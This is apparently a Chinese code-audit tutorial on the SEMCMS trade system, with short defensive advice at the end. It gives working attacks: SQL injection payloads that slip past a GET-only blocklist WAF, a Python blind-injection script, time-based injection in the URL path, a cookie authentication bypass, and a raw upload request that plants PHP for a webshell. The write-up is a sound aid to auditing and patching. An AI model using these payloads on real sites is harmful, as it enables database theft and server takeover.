某新版本商贸系统的代码审计
字数 1491 2025-08-29 08:32:19
商贸系统代码审计与漏洞利用教学文档
1. 系统概述
本教学文档基于某商贸系统(SEMCMS)的代码审计结果,详细分析系统中存在的安全漏洞及利用方法。该系统存在多处安全缺陷,包括SQL注入、认证绕过和文件上传漏洞等。
2. SQL注入漏洞分析
2.1 WAF机制分析
系统通过以下代码实现SQL注入防护:
// 防sql注入
if(isset($_GET)){ $GetArray = $_GET;} else { $GetArray = '';} //get
foreach($GetArray as $value){ //get
verify_str($value);
}
function inject_check_sql($sql_str) {
return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i', $sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong!');
}
return $str;
}
WAF特点分析:
- 仅对GET参数进行过滤,POST参数未过滤
- 黑名单过滤机制,正则匹配以下关键词:
select,insert,=,%,<,between,update- 单引号
', 星号*,union,into load_file,outfile
- 过滤不严格,未过滤
ascii,substr等函数 - 未过滤
^(异或)等运算符
2.2 第一处SQL注入利用
漏洞位置:
if(isset($_POST["languageID"])){
$Language=test_input(verify_str($_POST["languageID"]));
}else{
$Language=verify_str($Language);
}
绕过方法:
- 使用POST方法传参,绕过GET过滤
- 利用未被过滤的函数和运算符构造payload
test_input函数分析:
function test_input($data) {
$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,ENT_QUOTES);
return $data;
}
- 将%替换为percent
- 去除两侧空白字符
- 删除反斜杠
- HTML实体编码
可利用的盲注payload示例:
languageID=2 and ascii(substr(database(),1,1))^109
自动化盲注脚本:
import requests
url = "http://localhost"
database = ""
for i in range(1,6):
for j in range(97,127):
payload = "1 and ascii(substr(database(),{i},1))^{j}".format(j=j,i=i)
data = {"languageID":payload}
c = requests.post(url=url,data=data).text
if "Empty!" in c:
database += chr(j)
print(database)
2.3 第二处SQL注入利用
漏洞位置:
$web_urls=$_SERVER["REQUEST_URI"]; //获取url路径
$web_urls=explode("/",$web_urls);
$urlml=web_language_ml(@$web_urls[1],@$web_urls[2],$db_conn);
web_language_ml函数分析:
function web_language_ml($web_urls1,$web_urls2,$db_conn){
$query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or language_url='$web_urls2' and language_open=1");
// ...
}
漏洞特点:
- 直接拼接URL路径到SQL语句,未经过滤
- 特殊字符在GET传参时被URL编码
- 单引号未被过滤,可闭合SQL语句
- 空格被处理,需使用其他方法绕过
利用方法:
/index.php/'or(sleep(3))or'
完整SQL注入payload:
/index.php/1'or+if(substr((select+min(table_name)from(information_schema.tables)where+table_schema=(database())&&table_name!='sc_banner'),1,1)>'a',sleep(15),1)#
3. 认证绕过漏洞
漏洞位置:
function checkuser($db_conn){
$cookieuseradmin=@verify_str(test_input($_COOKIE["scuseradmin"]));
$cookieuserpass=@verify_str(test_input($_COOKIE["scuserpass"]));
$query=$db_conn->query("select * from sc_user where user_admin='$cookieuseradmin' and user_ps='$cookieuserpass'");
// ...
}
漏洞原理:
- 从Cookie中获取用户名和密码
- 直接拼接至SQL语句,存在SQL注入
利用方法:
- 构造恶意Cookie值:
scuseradmin=111\scuserpass=or 1#
- 最终SQL语句:
select * from sc_user where user_admin='111\' and user_ps='or 1#'
4. 文件上传漏洞与Getshell
4.1 漏洞利用过程
- 制作包含PHP代码的图片文件
- 在后台管理页面提交图片上传
- 使用BurpSuite拦截修改请求
请求示例:
POST /SEMCMS3.9/OSWttq_Admin/SEMCMS_Upfile.php HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=3369516516527364944820946580
--3369516516527364944820946580
Content-Disposition: form-data; name="wname"
111
--3369516516527364944820946580
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg
<?php phpinfo();
--3369516516527364944820946580
Content-Disposition: form-data; name="imageurl"
../Images/prdoucts/
--3369516516527364944820946580--
- 修改重命名文件为
111.jpg.php: - 第二次提交时修改上传文件名为
test.jpg<<<
4.2 漏洞原理分析
关键代码:
if(test_input($_POST["wname"])){ //自定义文件名
$newname=test_input($_POST["wname"]).".".end($uptype); //新的文件名
}
漏洞成因:
- 文件名命名格式处理不当
- 冒号可能导致截断,使
.jpg未被正确拼接 <<<可能被系统特殊处理
4.3 潜在的其他Getshell点
Mbapp函数分析:
function Mbapp($mb,$lujin,$mblujin,$dirpaths,$htmlopen){
if($htmlopen==1){$ml="j";}else{$ml="d";}
$template="index.php,hta/".$ml."/.htaccess";
$template_mb=explode(",",$template);
for($i=0;$i<count($template_mb);$i++){
$template_o = file_get_contents($mblujin.'Templete/'.$mb.'/Include/'.$template_mb[$i]);
$templateUrl = $lujin.str_replace("hta/".$ml,$template_mb[$i]);
$output = str_replace('<{Template}>', $mb, $template_o);
$output = str_replace('<{dirpaths}>', $dirpaths, $output);
file_put_contents($templateUrl, $output);
}
}
潜在利用方式:
$mb参数可控- 通过模板目录提取index.php和.htaccess文件
- 替换
<{Template}>标签后写入主目录 - 可能通过控制模板内容实现代码执行
5. 防御建议
-
SQL注入防御:
- 使用预处理语句(PDO或mysqli_prepare)
- 统一过滤所有输入参数(GET/POST/COOKIE)
- 实现白名单过滤机制
-
认证安全:
- 使用密码哈希存储(如password_hash)
- 实现CSRF防护
- 使用Session而非Cookie存储认证状态
-
文件上传安全:
- 严格验证文件类型(MIME类型+文件头)
- 重命名上传文件为随机名称
- 限制上传目录的脚本执行权限
- 禁止用户控制上传文件路径
-
代码安全:
- 禁用危险函数(如system, exec, passthru等)
- 实现严格的输入输出过滤
- 定期进行安全审计和代码审查
6. 总结
本商贸系统存在多处严重安全漏洞,攻击者可利用这些漏洞实现:
- 通过SQL注入获取数据库敏感信息
- 绕过认证机制获得管理员权限
- 上传恶意文件获取服务器控制权
开发人员应重视安全编码实践,系统管理员应及时修补这些漏洞,避免造成安全事件。